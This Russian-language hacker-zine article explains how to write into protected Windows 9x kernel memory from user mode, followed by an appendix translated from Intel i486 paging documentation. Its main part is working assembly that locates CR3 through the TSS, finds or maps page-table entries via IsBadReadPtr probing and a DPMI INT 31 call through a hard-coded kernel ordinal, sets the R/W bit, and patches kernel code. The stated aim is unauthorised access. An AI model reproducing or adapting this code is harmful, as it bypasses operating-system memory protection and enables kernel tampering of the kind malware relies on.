### ПИШЕМ В KERNEL ИЗ RING3: ИМЕЕМ ТАБЛИЦУ СТРАНИЦ

Глюкавость маздая продолжает радовать: судя по всему кроме кернела и кодовых секций программ не предполагалось защищать вообще ничего. Таким образом здесь будет рассказано о том, как под маздаем можно произвести запись в ЛЮБОЕ место памяти не переходя для этого в нулевое кольцо. 8-)

Таблица страниц. Что есть оно? Вся непрерывная физическая память поделена на 4-килобайтные странички, коии могут отображаться в 4-гигабайтное пространство в самые разные его места. Информация обо всем этом деле и хранится в таблице страниц.

Об адресном пространстве, таблице страниц и формате записи на одну страницу можно прочитать в конце этого текста в ПРИЛОЖЕНИИ, коее я выдрал из доки, в чем и признаюсь.

Итак, нашей задачей (как обычно) является произвести НСД - а именно запись в защищенный для записи адрес X. (все это, ясное дело, из PE файла)

О том что в адрес X писать нельзя, можно узнать двояко - либо одной из функций IsBadXXXPtr, где XXX - Read, Write, Code и т.п., либо используя SEH. Вот оба варианта:

1. функция:

                            push    size-in-bytes
                            push    address
                            call    IsBadReadPtr
                            or      eax, eax
                            jnz     __can_not_read
    __can_read:             ...

2. SEH:

                            call    __seh_init      ; install seh
                            mov     esp, [esp+8]
                            stc
                            jmp     __seh_exit
    __seh_init:             push    dword ptr fs:[0]
                            mov     fs:[0], esp

                            mov     al, byte ptr [address]
                            clc

    __seh_exit:             pop     dword ptr fs:[0]; uninstall seh
                            pop     eax

                            jc      __can_not_read
    __can_read:             ...

Теперь переходим к вопросу: как пропатчить таблицу страниц. Для начала надо ее найти. В доке написано вот что: старшие 20 бит регистра CR3 суть физический адрес таблицы страниц, младшие 12 бит адреса равны 0 (выравнивание на страницу).

Если в PE файле написать так: mov eax, cr3 то в результате будет получен хуй. А все потому, что инструкция привилегированная, и может вызываться только из нулевого кольца. Правда, екскепшена при этом маздай не генерит, но и EAX не изменяет.

Что же делать? Можно прочитать доку по протмоде, и выяснить, что копия CR3 для текущего контекста (а надо сказать таблиц страниц может быть несколько для разных контекстов) лежит в TSS.

Где взять TSS? Селектор ейный получаем командой STR. (что-то вроде store task register) Далее все по плану:

    ; subroutine: get_cr3
    ; output:     EBX=CR3

    get_cr3:                push    eax

                            sgdt    [esp-6]
                            mov     ebx, [esp-4]    ; EBX<--GDT.base

    ; кстати, интересная фича: подается AX, а меняется EAX
                            str     ax              ; EAX<--TSS selector
                            and     eax, 0FFF8h     ; <--это может быть убрано

                            add     ebx, eax        ; EBX<--TSS descriptor offset

                            mov     ah, [ebx+7]     ; EAX<--TSS linear address
                            mov     al, [ebx+4]
                            shl     eax, 16
                            mov     ax, [ebx+2]

                            mov     ebx, [eax+1Ch]  ; EBX<--CR3
                            and     ebx, 0FFFFF000h ; EBX<--pagetable phys. offs

                            pop     eax
                            ret

Вот только что с ним делать, с физическим адресом из PE файла? В нулевом кольце его можно было бы транслировать в линейный, а в третьем - хуй. Поэтому такой метод не годится.

Кстати. Если вы в этом примере измените mov eax, [ecx+1Ch] на mov eax, [ecx+4], то вы поимеете ESP0, то бишь ESP того кода, который вызвал текущую задачу. Клево?

Теперь возникает следующий вариант: найти таблицу страниц поиском в памяти. При этом искать мы будем не каталог первого уровня, а сразу таблицу второго уровня, один из двордов которой и будет описанием страницы содержащей нужный нам адрес.

Но чтобы искать в памяти таблицу, надо знать что в ней находится. А этого мы знать не можем.

Но не все так плохо. Вышеупомянутая функция IsBadReadPtr говорит нам, можно ли читать конкретную страничку или нет. А это - уже целый бит. И точно такого же смысла бит (U/S) есть в дворде, описывающем эту же самую страничку в таблице страниц. И есть другой бит, R/W, определяющий врайтабельность страницы. Его можно получить функцией IsBadWritePtr.

                    ф-ция 3-го кольца   биты в записи таблицы страниц
      чтение        IsBadReadPtr        U/S  user/supervisor
      запись        IsBadWritePtr       R/W  read/write

Таким образом, вызывая IsBadRead/WritePtr для 1024 страниц мы генерим страницу двордов, в каждом из которых устанавливаем соответствующие биты. А затем в цикле сравниваем каждый из этих двордов с двордом текущей проверяемой странички, но сравниваем не весь дворд а только эти 2 бита.

Вот так это происходит:

    needtbl                 dd      1024 dup (?)

    ; return EBX=pagetable for addresses BFC00000...C0000000

    find_kernel_pagetable:

    ; создаем свою табличку
                            lea     edi, needtbl    ; наша табличка
                            cld

                            mov     esi, 0BFC00000h ; ESI--адрес текущей страницы

    __maketbl:              xor     ebp, ebp

                            push    4096
                            push    esi
                            callW   IsBadReadPtr

                            xor     eax, 1          ; 0 <--> 1
                            shl     eax, 2          ; 1 --> 4 (бит 2)
                            or      ebp, eax

    ; ... (то же самое для IsBadWritePtr, но shl eax, 1)

                            mov     eax, ebp
                            stosd

                            add     esi, 4096
                            cmp     esi, 0C0000000h
                            jne     __maketbl

    ; ищем такую же страницу в памяти

                            mov     ebx, 0C0000000h   ; стартовый адрес поиска
    __cycle:
                            push    4096              ; можно ли читать?
                            push    ebx
                            callW   IsBadReadPtr
                            or      eax, eax
                            jnz     __cont

                            xor     edi, edi          ; сравниваем страницы

    __scan:                 mov     eax, [ebx+edi]
                            and     eax, 2+4    ; но так, чтобы совпадали только
                            xor     eax, needtbl[edi] ; 2 бита каждого дворда
                            jnz     __cont

                            add     edi, 4
                            cmp     edi, 4096
                            jb      __scan

                            clc                       ; нашли
                            ret

    __cont:                 add     ebx, 4096
                            cmp     ebx, 0D0000000h   ; конечный адрес поиска
                            jb      __cycle

                            stc                       ; облом
                            ret

Вот таким вот вышеприведенным куском кода и находится нужная нам страница из таблицы страниц, описывающая страницы в диапазоне BFC00000...C0000000.

Теперь надо изменить бит RW, скажем для адреса BFF70000. Делаем так:

                            ; ищем нужную нам страницу
                            call    find_kernel_pagetable
                            jc      __damnedsonofabitch

                            ; снимаем защиту
                            c1 = (0BFF70000h-0BFC00000h)/1024
                            or      dword ptr [ebx + c1], 2  ; RW=1

                            ; на всякий случай проверяемся
                            push    4096
                            push    0bff70000h
                            call    IsBadReadPtr
                            or      eax, eax
                            jnz     __exit

                            ; патчим кернел
                            not     dword ptr ds:[0bff70000h]

                            ; устанавливаем защиту взад
                            and     dword ptr [ebx + c1], not 2  ; RW=0

Теперь у вас может (и должен) возникнуть такой вопрос: а откуда в двух примерах выше взялись числа BFC00000 и C0000000 ? А обо всем этом написано в приложении. Ну так вот, кратко. Все 4GB памяти делятся на 1024 куска по 4MB. Таблица страниц первого уровня описывает адреса 1024х таблиц второго уровня. А каждая из таблиц второго уровня описывает 1024 обычных страницы. Таким образом два вышеприведенных числа -- это BFF70000, округленное до 4MB в меньшую и большую сторону соответственно.

Работающий пример всего вышеописанного лежит в директории EXAMPLE1.

Ну что, думаете - это все? Ха, скажу я вам - нихуя подобного. Все о чем написано выше на поверку вышло полным отстоем, по той простой причине, что страничка из pagetable, которую мы хотим пропатчить, в линейном адресном пространстве нашей задачи (по дефолту) отсутствует.

Как отсутствует? - спросите вы. Пример-то работает. А дело в том, что отсутствует она лишь до тех пор, пока не будет вызвано нечто навроде:

                            push    0
                            push    4096
                            push    physical-page-offset
                            VMMcall MapPhysToLinear
                            add     esp,3*4

Примерно подобные действия наверное производит Soft-ICE, а также программа в директории EXAMPLE2. Суть вышеназванной функции заключается в вызывании VMM_PageReserve и VMM_LinPageLock, что говорит само за себя - прогружаем страничку в текущий контекст. А в голом без айса маздае не находится страничка из pagetable-а ну ни как.

Что ж делать-то, а? А вот посидел я тут ночку, и надумал такую феню. Если найти мы страничку из pagetable не можем по той причине, что ее в нашем контексте попросту нет (если мы не под айсом, конечно), то надо либо сменить контекст, либо все-таки имея CR3 научиться конвертировать физические адреса в линейные и прогружать их в память. Второй вариант прокатил с полпинка. Как уже было сказано, EXAMPLE2 производит сие действо из нуля. А нижеследующий кусок кода делает это из третьего кольца.

    KERNEL@ORD0             dd      0BFF713D4h  ; можно и поискать, но так проще

    ; subroutine: phys2linear
    ; input:      EBX=physical address
    ; output:     EBX=linear address

    phys2linear:            pusha

                            movzx   ecx, bx         ; BX:CX<--EBX=phys addr
                            shr     ebx, 16

                            mov     eax, 0800h      ; physical address mapping

                            xor     esi, esi        ; SI:DI=size (1 byte)
                            xor     edi, edi
                            inc     edi

                            push    ecx
                            push    eax
                            push    0002A0029h      ; INT 31 (DPMI services)
                            call    KERNEL@ORD0

                            shl     ebx, 16         ; EBX<--BX:CX=linear address
                            or      ebx, ecx

                            mov     [esp+4*4], ebx  ; popa.ebx

                            popa
                            ret

Теперь, зная CR3 и умея легко коммитить физические адреса в линейные, мы имеем доступ ко всей pagetable, следующим образом:

    ; subroutine: get_pagetable_entry
    ; input:      ESI=address
    ; output:     EDI=pagetable entry address

    get_pagetable_entry:    pusha

                            call    get_cr3         ; получаем CR3
                            and     ebx, 0FFFFF000h ; EBX<--физ. адрес каталога

                            call    phys2linear     ; получаем линейный адрес

                            mov     eax, esi
                            and     eax, 0FFC00000h
                            sub     esi, eax
                            shr     eax, 20       ; EAX<--адр.эл-та 1го уровня
                            shr     esi, 10       ; ESI<--адр.эл-та 2го уровня

                            mov     ebx, [ebx+eax]  ; EBX<--физ.адрес нужной
                            and     ebx, 0FFFFF000h ; страницы

                            call    phys2linear   ; EBX<--линейный адрес

                            add     esi, ebx      ; ESI<--адрес дворда для патча

                            mov     [esp], esi    ; popa.edi
                            popa
                            ret

Готово! А вызывается все это счастье таким раком:

                            mov     esi, 0BFF70000H
                            call    get_pagetable_entry
                            or      dword ptr [edi], 2  ; PAGEFLAG_RW
                            mov     byte ptr [esi], xxxx  ; пишем в кернел

Все это дело представлено в EXAMPLE3.

Знающие люди на этом месте скажут так: коль скоро ты умеешь вызывать INT 31, то нахуя надо вообще было все это писать? А я скажу так. Маза-то ведь была какая? Маза была не записаться в куда-то там, и не перейти в 0, а пропатчить pagetable. Так что все окей.

### ПРИЛОЖЕНИЕ

    5.3  Трансляция страниц
    -----------------------------------------------------------------

    Линейный адрес представляет собой 32-битовый адрес в однородном,
    несегментированном адресном пространстве. Это адресное
    пространство может являться большим физическим адресным
    пространством (т.е. адресным пространством, состоящим из 4
    гигабайт оперативной памяти), либо может использоваться средство
    подкачки страниц, моделирующее это адресное пространство при
    помощи небольшой области оперативной памяти и некоторого
    количесства дисковой памяти. При использовании подкачки страниц
    линейный адрес транслируется в соответствующий физический адрес,
    либо генерируется исключение. Это исключение дает операционной
    системе возможность прочитать страницу с диска (возможно,
    вытеснив на диск другую страницу), а затем перезапустить
    команду, вызвавшую данное исключение.

    Механизм подкачки отличается от механизма сегментации тем, что в
    данном случае используются небольшие, имеющие фиксированный
    размер страницы. В отличие от сегментов, которые обычно имеют
    размер, равный размеру содержащихся в них структур данных,
    страницы процессора i486 всегда имеют размер 4К. Если
    сегментация является единственной используемой формой трансляции
    адреса, структура данных, находящаяся в физической памяти, будет
    иметь в памяти все свои компоненты одновременно. При
    использовании механизма подкачки страниц структура данных может
    частично находиться в оперативной памяти, и частично в дисковой
    памяти.

    Информация, обеспечивающая отображение линейных адресов в
    физические адреса и отвечающая за генерацию исключений в случае
    несоответствий, хранится в структурах данных оперативной памяти,
    которые называются таблицами страниц. Как и в случае
    сегментации, эта информация кешируется в регистрах процессора с
    тем, чтобы минимизировать число циклов шины, требуемое для
    трансляции адреса. В отличие от механизма сегментации, эти
    регистры процессора полностью невидимы для прикладных программ.
    (Для целей тестирования эти регистры видны программам,
    выполняемым с максимальным уровнем привилегированности:
    подробности см. в Главе 10).

    Мехпнизм подкачки страниц рассматривает 32-разрядный линейный
    адрес как состоящий из трех частей, а именно двух 10-разрядных
    индексов страничных таблиц и 12-заррядное смещение в таблице,
    адресуемой страничными таблицами. Поскольку как виртуальные
    страницы в линейном адресном пространстве, так и физические
    страницы памяти выравнены по 4Кбайтной границе страниц,
    модифицировать младшие 12 битов адреса нет необходимости. Эти 12
    битов напрямую передаются аппаратному обеспечению, работающему с
    подкачкой страниц, независимо от того, разрешена ли подкачка в
    текущий момент, или запрещена. Отметим, что в этом состоит
    отличие от сегментации, поскольку сегменты могут начинаться с
    любого адреса байта.

    Старшие 20 битов адреса используется для индексации страничных
    таблиц. Если все страницы линейного адресного пространства
    отображались бы в одной таблице страниц в оперативной памяти, то
    для этого потребовалось бы 4Мб памяти. Делается это не так. Для
    экономии памяти используются страничные таблицы двух уровней.
    Страничная таблица верхнего уровня называется страничным
    каталогом. В нем отображаются старшие 10 битов линейного адреса
    табличных страниц второго уровня. Во втором уровне страничных
    таблиц отображаются средние 10 битов линейного адреса, задающего
    базовый адрес страницы в физической памяти (который называется
    адресом страничного блока).

    На базе содержимого таблицы страниц или каталога страниц может
    генерироваться исключение. Оно дает операционной системе
    возможность подкачать отсутствующую таблицу страниц с диска.
    Благодаря тому, что страничные таблицы второго уровня могут
    находиться на диске, механизм подкачки страниц может
    поддерживать отображение всего линейного адресного пространства
    при помощи всего нескольких страниц памяти.

    Регистр CR3 содержит адрес страничного блока каталога страниц.
    Поэтому он называется базовым регистром каталога страниц, или
    PDBR. Старшие 10 битов линейного адреса умножаются на масштабный
    коэффициент четыре (число байтов каждого элемента таблицы
    страниц) и складывается со значением регистра PDBR для получения
    физического адреса элемента в каталоге страниц. Поскольку адрес
    страничного блока всегда имеет незаполненными младшие 12 бит, то
    такое сложение выполняется методом конкатенации (замещения
    младших 12 битов масштабированным индексом).

    При доступе к элементу каталога страниц выполняется несколько
    проверок: исключения могут генерироваться, если страница
    защищена или отсутствует в памяти. Если особая ситуация не
    генерировалась, то старшие 20 битов элемента таблицы страниц
    используются в качестве адреса страничного блока таблицы страниц
    второго уровня. Средние 10 битов линейного адреса масштабируются
    коэффициентом четыре (снова это число равно размеру элемента
    таблицы страниц) и конкатенируются с адресом страничного блока
    для получения физического адреса элемента в таблице страниц
    второго уровня.

    И опять, выполняются проверки доступа, в результате которых
    возможна генерация исключений. Если же исключений не возникло,
    то старшие 20 битов элемента таблицы страниц второго уровня
    конкатенируются с младшими 12 битами линейного адреса, образуя
    физический адрес операнда (данных) в оперативной памяти.

    Хотя такой процесс и может показаться сложным, затраты
    процессорного сремени на него невелики. Процессор имеет кеш
    элементов таблицы страниц, который называется ассоциативным
    буфером трансляции адреса (TBL). TBL удовлетворяет большинство
    запросов чтения страничных таблиц. дополнительные циклы шины
    затрачиваются только при доступе к новым страницам памяти.
    Размер страницы (4К) достаточно велик, поэтому по сравнению с
    числом циклов шины, затрачиваемых на выполнение команд и
    обращение к данным, число циклов для доступа к таблицам страниц
    относительно невелико. Одновременно с этим размер страницы
    достаточно мал, чтобы память использовалась наиболее эффективно.
    (Независимо от фактической величины структуры данных, она
    занимает не меньше одной страницы памяти).

    5.3.3 Таблицы страниц
    -----------------------------------------------------------------

    Таблица страниц представляет собой массив, состоящий из
    32-разрядных элементов. Таблица страниц сама является страницей
    и содержит 4096 байтов памяти, или максимум 1Кб 32-разрядных
    элементов. Все страницы, включая каталоги страниц и таблицы
    страниц, выровнены по границе 4Кб.

    Для адресации страницы памяти используется два уровня таблиц.
    Старший уровень называется каталогом страниц. Он адресует до 1К
    страничных таблиц второго уровня. Таблица страниц второго уровня
    адресует до 1К страниц в физической памяти. Таким образом, все
    таблицы, адресуемые одним каталогом страниц, могут адресовать до
    1М или 2**20 страниц. Поскольку каждая страница содержит 4К, или
    2**12 байтов, таблицы одного каталога страниц покрывают все
    линейное адресное пространство процессора i486 (2**20 x 2**12 =
    2 **32).

    Физический адрес текущего страничного каталога хранится в
    регистре CR3, который также называется базовым регистром
    каталога страниц (PDBR). Программное обеспечение организации
    памяти имеет опции использования одного каталога страниц для
    всех задач, одного каталога страниц для каждой задачи, либо
    некоторой комбинации этих двух опций. В Главе 10 приводится
    информация об инициализации регистра CR3. О том, как содержимое
    CR3 может изменяться для каждой задачи, см. в Главе 7.

    5.3.4  Элементы таблицы страниц
    -----------------------------------------------------------------

    Элементы страничных таблиц обоих уровней имеют одинаковый
    формат. Этот формат показан на Рисунке 5-14.

    5.3.4.1  Адрес страничного блока
    -----------------------------------------------------------------

    Адрес страничного блока является базовым адресом страницы. В
    элементе страничной таблицы старшие 20 битов используются для
    задания адреса страничного блока, а младшие 12 битов задают
    управляющие биты и биты состояния для данной страницы. В
    каталоге страниц адрес страничного блока представляет собой
    адрес таблицы страниц второго уровня. В таблице страниц второго
    уровня адрес страничного блока - это адрес страницы, которая
    содержит команды или данные.

    5.3.4.2  Бит присутствия
    -----------------------------------------------------------------

    Бит Присутствия указывает на то, отображается ли адрес
    страничного блока из таблицы страниц страницей в физической
    памяти. Если данный бит установлен, то страница находится в
    памяти.

    Если бит Присутствия очищен, то страница не находится в памяти,
    и остальная часть данного элемента таблицы страниц доступна для
    использования операционной системой, например, для хранения
    информации о том, где находится эта отсутствующая страница. На
    Рисунке 5-15 показан формат элемента таблицы страниц, когда бит
    Присутствия очищен.

    ~~~

         31                           12 11                    0
        ---------------------------------------------------------
        |                               |     |   | | |P|P|U|R| |
        |Адрес страничного блока 31..12 |AVAIL|0 0|D|A|C|W|/|/|P|
        |                               |     |   | | |D|T|S|W| |
        ---------------------------------------------------------

        P        - Присутствие
        R/W      - Чтение/З пись
        U/S      - Пользователь/Супервизор
        PWT      - Запись Страницы прозрачна
        PCD      - Кеширование на уровне страниц запрещено
        A        - Доступ произошел
        D        - "Грязная"
        AVAIL    - Доступны для использования системным программистом

        Примечание: 0 означает резервирование Intel. Не выполняйте
                    определение этих битов.

             Рисунок 5-14. Формат элемента таблицы страниц

         31                                1 0
         --------------------------------------
         |        Доступны                  |0|
         --------------------------------------

             Рисунок 5-15.  Формат элемента таблицы страниц
                     для не-Присутствующей таблицы

    Если бит Присутствия на любом уровне таблицы страниц очищен,
    когда делается попытка использовать данный элемент таблицы для
    адресной трансляции, то происходит такая последовательность
    событий:

         1. Операционная система копирует страницу с дисковой памяти
            в физическую память.

         2. Операционная система загружает адрес страничного блока в
            элемент таблицы страниц и устанавливает бит Присутствия.
            Прочие биты, например, бит Чтения/Записи, также могут
            при этом быть установлены.

         3. Поскольку в буфере ассоциативной трансляции (TLB) все
            еще может находиться копия старого элемента таблицы
            страниц, то операционная система очищает этот буфер.
            Буфер TLB и способы его очистки рассматриваются в
            разделе 5.3.5.

         4. Выполняется рестарт программы, вызвавшей исключение.

    Поскольку CR3 не имеет бита Присутствия, который указывал бы на
    те случаи, когда каталог страниц не находится в оперативной
    памяти, каталог страниц, на который указывает CR3, должен
    находиться в физической памяти всегда.

    5.3.4.3  Биты Доступа и "Грязная"
    -----------------------------------------------------------------

    Эти биты содержат данные об использовании страницы на обоих
    уровнях страничных таблиц. Бит Доступа используется для
    сообщения о доступе на чтение или запись к странице или
    страничной таблице второго уровня. Бит "Грязная" сообщает о
    доступе к странице для записи.

    За исключением бита "грязная" в элементах каталога страниц, эти
    биты устанавливаются аппаратным обеспечением; однако процессор
    не очищает ни один из этих битов. Процессор устанавливает биты
    Доступа на обоих уровнях страничных таблиц до операции чтения
    или записи страницы. Процессор устанавливает бит "Грязная" в
    таблице страниц второго уровня, прежде чем выполнить операцию
    записи по адресу, отображаемому данным элементом таблицы. Бит
    "Грязная" в элементах каталога страниц не определен.

    Операционная система может использовать бит Доступа, когда ей
    требуется создать некоторую свободную область памяти, посылая
    страницу или таблицу страниц второго уровня на диск.
    Периодически очищая биты Доступа в страничных таблицах, она
    может определять, какие страницы были использованы последними.
    Не используемые страницы являются кандидатами на пересылку в
    дисковую память.

    Операционная система может использовать бит "Грязная", когда
    страница посылается обратно на диск. Очищая бит "Грязная" при
    пересылке страницы в оперативную память, операционная система
    может определить, произошел ли какой-либо доступ записи к этой
    странице. Если имеется копия этой страницы на диске и копия в
    оперативной памяти не была изменена операциями записи, то
    обновлять соответствующую копию на диске из оперативной памяти
    нет необходимости.

    О том, как процессор i486 обновляет биты Доступа и "Грязная" в
    многопроцессорных системах, написано в Главе 13.

    5.3.4.4  Биты Чтения/Записи и Пользователя/Супервизора
    -----------------------------------------------------------------

    Биты Чтения/Записи и Пользователя/Супервизора используются для
    защитных проверок страниц, выполняемых процессором одновременно
    с трансляцией адреса. Более подробную информацию о защите см. в
    Главе 6.

    5.3.4.5  Биты управления кешем страничного уровня
    -----------------------------------------------------------------

    Биты PCD и PWT используются для организации кеша страничного
    уровня. Программное обеспечение может при помощи этих битов
    управлять кешированием отдельных страниц или страничных таблиц
    второго уровня. Более подробную информацию о кешировании см. в
    Главе 12.

    6.8  Защита на уровне страниц
    -----------------------------------------------------------------

    Защита работает как на уровне сегментов, так и на уровне
    страниц. При использовании плоской модели сегментации памяти
    защита на уровне страниц также предотвращает недопустимое
    взаимное влияние между программами.

    Каждая ссылка к памяти контролируется на удовлетворение проверок
    защиты. Все проверки выполняются до начала цикла обращения к
    памяти; любое нарушение защиты предотвращает начало этого цикла
    и генерирует исключение. Поскольку эти проверки выполняются
    параллельно с трансляцией адреса, они не влекут дополнительных
    затрат времени процессора. Существует два вида проверки защиты
    на уровне страниц:

    1. Ограничения на адресуемый домен памяти.

    2. Проверка типа.

    Нарушение защиты приводит к генерации исключения. Механизм
    исключений описан в Главе 9. В данной главе описаны нарушения
    защиты, ведущие к исключениям.

    6.8.1  Элементы страничных таблиц содержат параметры защиты
    -----------------------------------------------------------------

    На Рисунке 6-10 показаны поля элемента страничной таблицы,
    которые управляют доступом к странице. Проверки защиты
    применяются к страничным таблицам как первого, так и второго
    уровня.

    6.8.1.1  Ограничения адресуемого домена памяти
    -----------------------------------------------------------------

    Для страниц и сегментов понятие привилегированности
    интерпретируется по-разному. Для сегментов существует четыре
    уровня привилегированности, лежащих в диапазоне от 0 (высший
    уровень привилегированности) до 3 (низший уровень
    привилегированности). для страниц существует два уровня
    привилегированности:

    1. Уровень супервизора (U/S=0) - для операционной системы,
       прочего системного программного обеспечения (например,
       драйверов устройств), а также для защищаемых системных данных
       (например, страничных таблиц).

    2. Уровень пользователя (U/S=1) - для прикладных кодов и данных.

    Уровни привилегированности, используемые в сегментации,
    отображаются в уровнях привилегированности страниц. Если CPL
    равен 0, 1 или 2, то процессор работает на уровне супервизора.
    Если же CPL равен 3, то процессор работает на уровне
    пользователя. Когда процессор работает на уровне супервизора,
    все страницы являются доступными. Когда процессор работает на
    уровне пользователя, доступны только страницы, имеющие уровень
    пользователя.

    31                               12 11                      0
    --------------------------------------------------------------
    |                                  |       |   | | |P|P|U|R| |
    | Адрес страничного блока 31...12  |Доступн|0 0|D|A|C|W|/|/|P|
    |                                  |       |   | | |D|T|S|W| |
    --------------------------------------------------------------

    R/W   Чтение/Запись
    U/S   пользователь/Супервизор

         Рисунок 6-10. Поля защиты элемента страничной таблицы

    6.8.1.2  Проверка типа
    -----------------------------------------------------------------

    Механизмом защиты распознаются только два вида страниц:

    1. Доступ Только для Чтения (R/W=0)

    2. Доступ на Чтение/Запись (R/W=1).

    Когда процессор работает на уровне супервизора при очищенном
    бите WP в регистре CR0 (в состоянии бита, соответствующем
    инициализации при сбросе системы), все страницы являются
    одновременно доступными для чтения и записи (признак защиты
    записи игнорируется). Когда процессор работает на уровне
    пользователя, то для записи доступны лишь страницы уровня
    пользователя, помеченные признаком Чтение/Запись. Страницы
    уровня пользователя, помеченные для Чтения/Записи или Только для
    Чтения, являются доступными для чтения. Страницы уровня
    супервизора с уровня пользователя недоступны ни для чтения, ни
    для записи. При попытке нарушения прав доступа к защищенным
    страницам генерируется исключение общей защиты.

    В отличие от процессора 386 DX процессор i486 позволяет защищать
    страницы уровня пользователя от записи в режиме доступа
    супервизора. Установка бита WP в регистре CR0 включает
    чувствительность режима супервизора к защите страниц от записи в
    режиме пользователя. Это средство полезно для реализации
    стратегии "записи-на-копии", используемой некоторыми
    операционными системами, например UNIX, для создания задачи (это
    средство также называется порождением параллельных процессов или
    просто порождением).

    При создании новой задачи можно скопировать все адресное
    пространство порождающей задачи. Это дает порожденной задаче
    полный, дубликатный набор сегментов и страниц порождающей
    задачи. Стратегия "записи-на-копии" экономит область памяти и
    время, отображая порожденные сегменты и страницы в тех же
    сегментах и страницах, что используются порождающей задачей.
    Частная копия страницы создается только в случае, когда одна из
    задач выполняет запись в эту страницу.